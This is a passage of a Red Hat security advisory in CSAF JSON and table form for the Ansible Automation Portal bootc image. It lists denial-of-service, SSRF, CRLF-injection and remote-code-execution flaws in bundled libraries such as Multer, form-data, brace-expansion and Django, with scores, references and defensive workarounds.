| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in brace-expansion. A remote attacker can exploit this vulnerability by providing specially crafted input to the expand() function, which can lead to excessive memory consumption. This can cause a denial of service (DoS) by crashing the application due to an out-of-memory error.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in Django. GeoDjango's spatial lookups can be exploited by a staff user with view permissions who submits a specially crafted spatial-field filter. This vulnerability allows an attacker to write arbitrary files to the server, which can lead to remote code execution. Additionally, it can be used to make outbound network requests, resulting in server-side request forgery.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in the `ip-address` library. This library, used for parsing and manipulating IPv4 and IPv6 addresses in JavaScript, is vulnerable to Server-Side Request Forgery (SSRF) due to incorrect classification of IPv4-mapped/NAT64 IPv6 addresses. An attacker could exploit this misclassification to bypass network restrictions and potentially access or manipulate internal resources. This vulnerability can be exploited on any dual-stack host for IPv4-mapped addresses, and for NAT64, it requires a NAT64/DNS64 gateway in the deployment network.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
|
A flaw was found in js-yaml, a JavaScript YAML parser and dumper. A remote attacker could exploit this vulnerability by providing a specially crafted YAML document containing a chain of mappings with merge keys. This could cause the parser to consume excessive CPU resources, leading to a Denial of Service (DoS) for the affected system.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in pymdown-extensions, a collection of extensions for the Python Markdown library. This vulnerability, known as a Regular Expression Denial of Service (ReDoS), arises from how certain inline processors handle regular expressions. An unauthenticated remote attacker can exploit this by submitting a short, untrusted Markdown line that causes the regular expression engine to perform an excessive number of calculations. This leads to unbounded CPU usage, effectively causing a denial of service for affected web applications or systems that process user-supplied Markdown.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
|
A flaw was found in the brace-expansion library. The `expand()` function does not apply `maxLength` when constructing comma-alternative intermediate arrays or padded sequences, allowing attacker-controlled input to exhaust memory or block the event loop, resulting in a denial of service. This issue is due to an incomplete mitigation of CVE-2026-14257.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in the `ip-address` library. This library incorrectly interprets IPv4 address octets with leading zeros as decimal, while standard network parsers interpret them as octal. This inconsistency can cause applications to misclassify network targets, allowing a remote attacker to bypass security measures like Server-Side Request Forgery (SSRF) filters and potentially gain unauthorized access to internal systems.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in node-tar, a tar archive manipulation library for Node.js. A remote attacker could provide a specially crafted tar archive with a long-path header. When processing this archive with a non-empty member-selection list, an uncontrolled recursion in the `filesFilter` function can lead to a stack overflow. This issue results in a denial of service (DoS) by terminating Node.js applications that consume these archives.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
|
A flaw was found in fast-xml-parser. A remote attacker could exploit this by submitting a specially crafted XML document containing multiple DOCTYPE declarations. These repeated declarations can reset internal entity expansion limits during parsing. This can lead to excessive CPU usage, event-loop blocking, and memory exhaustion, ultimately resulting in a Denial of Service (DoS) for the application processing the XML.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in js-yaml, a JavaScript YAML parser. A remote attacker could exploit this vulnerability by providing specially crafted YAML input containing nested flow collections. This can lead to exponential parsing time when the application processes untrusted input, consuming excessive CPU resources. This resource exhaustion can block the Node.js event loop and cause a Denial of Service (DoS) for the affected process.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Updated images are now available for Red Hat Ansible Automation Platform 2.2, which include new features, bug fixes, and enhancements for the Red Hat Ansible Automation Portal bootable container image.",
"title": "Topic"
},
{
"category": "general",
"text": "Red Hat Ansible Automation Platform 2.2 delivers the Ansible Automation Portal\nas a bootable container (bootc) image. The image provides a self-contained automation portal\nwith pre-configured services, dynamic plugins, and support for air-gapped deployments.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:66003",
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-12143",
"url": "https://access.redhat.com/security/cve/CVE-2026-12143"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-14257",
"url": "https://access.redhat.com/security/cve/CVE-2026-14257"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-15307",
"url": "https://access.redhat.com/security/cve/CVE-2026-15307"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-5079",
"url": "https://access.redhat.com/security/cve/CVE-2026-5079"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-54272",
"url": "https://access.redhat.com/security/cve/CVE-2026-54272"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-59869",
"url": "https://access.redhat.com/security/cve/CVE-2026-59869"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67422",
"url": "https://access.redhat.com/security/cve/CVE-2026-67422"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69152",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69192",
"url": "https://access.redhat.com/security/cve/CVE-2026-69192"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-73566",
"url": "https://access.redhat.com/security/cve/CVE-2026-73566"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-73569",
"url": "https://access.redhat.com/security/cve/CVE-2026-73569"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-73643",
"url": "https://access.redhat.com/security/cve/CVE-2026-73643"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform",
"url": "https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_66003.json"
}
],
"title": "Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images",
"tracking": {
"current_release_date": "2026-09-09T23:16:02+00:00",
"generator": {
"date": "2026-09-09T23:16:02+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.18"
}
},
"id": "RHSA-2026:66003",
"initial_release_date": "2026-09-09T13:39:51+00:00",
"revision_history": [
{
"date": "2026-09-09T13:39:51+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-09-09T13:40:11+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-09-09T23:16:02+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Ansible Automation Platform 2.2",
"product": {
"name": "Red Hat Ansible Automation Platform 2.2",
"product_id": "Red Hat Ansible Automation Platform 2.2",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:ansible_portal:2.2::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat Ansible Automation Platform"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64",
"product": {
"name": "registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64",
"product_id": "registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64",
"product_identification_helper": {
"purl": "pkg:oci/bootc-automation-portal-rhel9@sha256%3Ac2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6?arch=amd64\u0026repository_url=registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9\u0026tag=1788943531"
}
}
}
],
"category": "architecture",
"name": "amd64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 as a component of Red Hat Ansible Automation Platform 2.2",
"product_id": "Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
},
"product_reference": "registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64",
"relates_to_product_reference": "Red Hat Ansible Automation Platform 2.2"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-5079",
"cwe": {
"id": "CWE-776",
"name": "Improper Restriction of Recursive Entity References in DTDs (\u0027XML Entity Expansion\u0027)"
},
"discovery_date": "2026-06-15T15:02:06.834404+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2488927"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Multer. A remote attacker can exploit this vulnerability by sending a single HTTP request with crafted multipart form data containing deeply nested field names. This can force the allocation of deeply nested object structures, consuming excessive CPU and memory resources. The vulnerability ultimately leads to a Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "multer: Multer: Denial of Service via deeply nested field names in multipart form data",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in Multer, a Node.js middleware for handling multipart/form-data. An attacker can exploit this flaw by sending a crafted HTTP request with deeply nested field names, leading to excessive resource consumption and service unavailability. This is particularly relevant for Red Hat products that expose Multer-based services to untrusted network input.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-5079"
},
{
"category": "external",
"summary": "RHBZ#2488927",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488927"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-5079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5079"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-5079",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5079"
},
{
"category": "external",
"summary": "https://cna.openjsf.org/security-advisories.html",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"category": "external",
"summary": "https://github.com/expressjs/multer/security/advisories/GHSA-72gw-mp4g-v24j",
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-72gw-mp4g-v24j"
}
],
"release_date": "2026-06-15T13:56:45.520000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "To reduce the impact of this denial of service vulnerability, configure the `limits.fields` option within your `multer` instance to a reasonable maximum value. This action restricts the number of fields processed from multipart form data, thereby limiting the resources an attacker can consume. This partial mitigation requires an application restart to take effect and does not fully prevent the vulnerability.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "multer: Multer: Denial of Service via deeply nested field names in multipart form data"
},
{
"cve": "CVE-2026-12143",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"discovery_date": "2026-06-12T19:00:57.360953+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2488480"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in form-data, a library for creating readable multipart/form-data streams. A remote attacker can exploit this vulnerability by injecting carriage return (CR), line feed (LF), or double-quote (\") characters into the `field` argument of `FormData#append` or the `filename` option. This allows the attacker to inject additional headers or smuggle entire additional multipart parts into requests, potentially enabling them to add or override form fields and compromise data integrity.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "form-data: form-data: Form field override via CRLF injection",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important impact flaw in the form-data library: a remote attacker can inject arbitrary headers or additional multipart parts via CRLF injection in field names or filenames, potentially overriding sensitive form fields and affecting data integrity.\n\nFor RHOAI and RHEL AI, severity is Moderate because affected versions appear only as a transitive npm dependency in RHOAI (dashboard, mod-arch plugins, MLflow UI) and RHEL AI 3.4 bootc images, and those products use fixed field names for uploads rather than passing untrusted user input as multipart field names or filenames. The documented exploit path is therefore not reachable in default deployments. Practical impact is limited to non-default or custom integrations that forward multipart requests using attacker-controlled field names.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-12143"
},
{
"category": "external",
"summary": "RHBZ#2488480",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488480"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-12143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-12143",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12143"
},
{
"category": "external",
"summary": "https://cwe.mitre.org/data/definitions/93.html",
"url": "https://cwe.mitre.org/data/definitions/93.html"
},
{
"category": "external",
"summary": "https://github.com/form-data/form-data/commit/64190db548c0179e37206858e39f27cf513e9435",
"url": "https://github.com/form-data/form-data/commit/64190db548c0179e37206858e39f27cf513e9435"
},
{
"category": "external",
"summary": "https://github.com/form-data/form-data/commit/be3f3cf553978bac15a5182f1f3c3d2d38ccf229",
"url": "https://github.com/form-data/form-data/commit/be3f3cf553978bac15a5182f1f3c3d2d38ccf229"
},
{
"category": "external",
"summary": "https://github.com/form-data/form-data/commit/c7133499c2ee1b80c678e411244f4442bf902045",
"url": "https://github.com/form-data/form-data/commit/c7133499c2ee1b80c678e411244f4442bf902045"
},
{
"category": "external",
"summary": "https://github.com/form-data/form-data/security/advisories/GHSA-hmw2-7cc7-3qxx",
"url": "https://github.com/form-data/form-data/security/advisories/GHSA-hmw2-7cc7-3qxx"
},
{
"category": "external",
"summary": "https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#multipart-form-data",
"url": "https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#multipart-form-data"
},
{
"category": "external",
"summary": "https://www.npmjs.com/package/form-data",
"url": "https://www.npmjs.com/package/form-data"
}
],
"release_date": "2026-06-12T18:01:30.362000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "Applications using the `form-data` library should implement strict input validation and sanitization for all field names and filenames derived from untrusted sources. This prevents the injection of control characters (CR, LF, \") that could lead to header injection or form field overrides. Deployments that exclusively use fixed or trusted field names are not impacted.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "form-data: form-data: Form field override via CRLF injection"
},
{
"cve": "CVE-2026-14257",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-07-23T14:01:26.376839+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2506433"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in brace-expansion. A remote attacker can exploit this vulnerability by providing specially crafted input to the expand() function, which can lead to excessive memory consumption. This can cause a denial of service (DoS) by crashing the application due to an out-of-memory error.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "A flaw was found in the brace-expansion npm package. The expand() function limits the number of generated results but does not bound the length of each result string. By chaining multiple brace groups, an attacker can keep the result count under the limit while making each result progressively longer, causing total memory consumption to grow until the Node.js process crashes with an uncatchable out-of-memory error. This affects any application that passes attacker-influenced strings to brace-expansion directly or transitively via minimatch or glob brace patterns.\n\nNote: In the majority of Red Hat products, brace-expansion is brought in as a transitive dependency of minimatch or glob and is not used at runtime. It is typically only invoked during build or development tooling and is not directly exposed to untrusted network input, reducing the practical exploitability of this flaw.\n\n```\n$ npm ls --omit=dev brace-expansion\nnpm@10.9.8 /usr/lib/node_modules/npm\n`-- minimatch@9.0.9\n `-- brace-expansion@2.0.2\n```",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-14257"
},
{
"category": "external",
"summary": "RHBZ#2506433",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506433"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-14257",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14257"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5"
},
{
"category": "external",
"summary": "https://www.npmjs.com/package/brace-expansion",
"url": "https://www.npmjs.com/package/brace-expansion"
}
],
"release_date": "2026-07-23T12:54:23.124000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "Do not pass untrusted or user-controlled input to brace-expansion\u0027s expand() function or to libraries that use it for glob pattern matching (such as minimatch or glob). Validate and sanitize any brace patterns before expansion.\n\nWhere possible, upgrade to brace-expansion 1.1.17, 2.1.3, 3.0.3, or 5.0.8 which add a maxLength option that bounds accumulated output.\n\nAs an additional defense-in-depth measure, enforce memory limits on Node.js processes using operating system resource controls such as cgroups or Kubernetes resource limits (spec.containers[].resources.limits.memory) to prevent a single process from exhausting system memory and causing a wider outage.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function"
},
{
"cve": "CVE-2026-15307",
"cwe": {
"id": "CWE-434",
"name": "Unrestricted Upload of File with Dangerous Type"
},
"discovery_date": "2026-08-04T17:01:22.074765+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2511095"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Django. GeoDjango\u0027s spatial lookups can be exploited by a staff user with view permissions who submits a specially crafted spatial-field filter. This vulnerability allows an attacker to write arbitrary files to the server, which can lead to remote code execution. Additionally, it can be used to make outbound network requests, resulting in server-side request forgery.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "django: Django: Remote code execution via GeoDjango spatial lookups",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat products that are built with Django framework do not implement GeoDjango or GIS capabilities.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-15307"
},
{
"category": "external",
"summary": "RHBZ#2511095",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2511095"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-15307",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15307"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-15307",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15307"
},
{
"category": "external",
"summary": "https://docs.djangoproject.com/en/dev/releases/security/",
"url": "https://docs.djangoproject.com/en/dev/releases/security/"
},
{
"category": "external",
"summary": "https://github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e",
"url": "https://github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e"
},
{
"category": "external",
"summary": "https://github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa",
"url": "https://github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa"
},
{
"category": "external",
"summary": "https://github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6",
